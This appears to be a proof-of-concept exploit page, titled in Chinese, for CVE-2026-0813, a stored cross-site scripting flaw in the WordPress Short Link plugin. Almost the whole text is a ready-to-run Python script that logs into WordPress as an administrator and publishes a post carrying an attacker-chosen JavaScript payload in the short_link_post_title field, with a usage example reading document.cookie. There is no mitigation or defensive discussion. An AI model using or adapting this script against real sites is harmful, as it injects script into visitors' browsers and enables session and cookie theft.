CVE-2026-0813 WordPress Short Link插件存储型XSS漏洞

import requests import sys from bs4 import BeautifulSoup # CVE-2026-0813 PoC - WordPress Short Link Plugin Stored XSS # Target: WordPress with Short Link plugin <= 1.0 def exploit_stored_xss(target_url, username, password, xss_payload): """ Exploit for CVE-2026-0813: Stored XSS in Short Link plugin Parameters: - target_url: Base URL of WordPress site - username: WordPress admin username - password: WordPress admin password - xss_payload: Malicious JavaScript payload to inject """ session = requests.Session() login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post-new.php" # Step 1: Login to WordPress as administrator login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': post_url } print("[*] Logging in to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wp-admin' not in response.url and 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Create new post with XSS payload in short_link_post_title post_data = { 'post_title': 'Test Post for CVE-2026-0813', 'content': 'This post contains a stored XSS payload.', 'short_link_post_title': xss_payload, # XSS injection point 'action': 'editpost', 'publish': 'Publish' } print(f"[*] Injecting XSS payload: {xss_payload}") response = session.post(post_url, data=post_data) if response.status_code == 200: print("[+] Post created with XSS payload!") print("[*] Any user visiting this post will execute the injected JavaScript.") return True else: print("[-] Failed to create post!") return False # Example usage if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <xss_payload>") print("Example: python exploit.py http://target.com admin admin '<script>alert(document.cookie)</script>'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit_stored_xss(target, user, pwd, payload)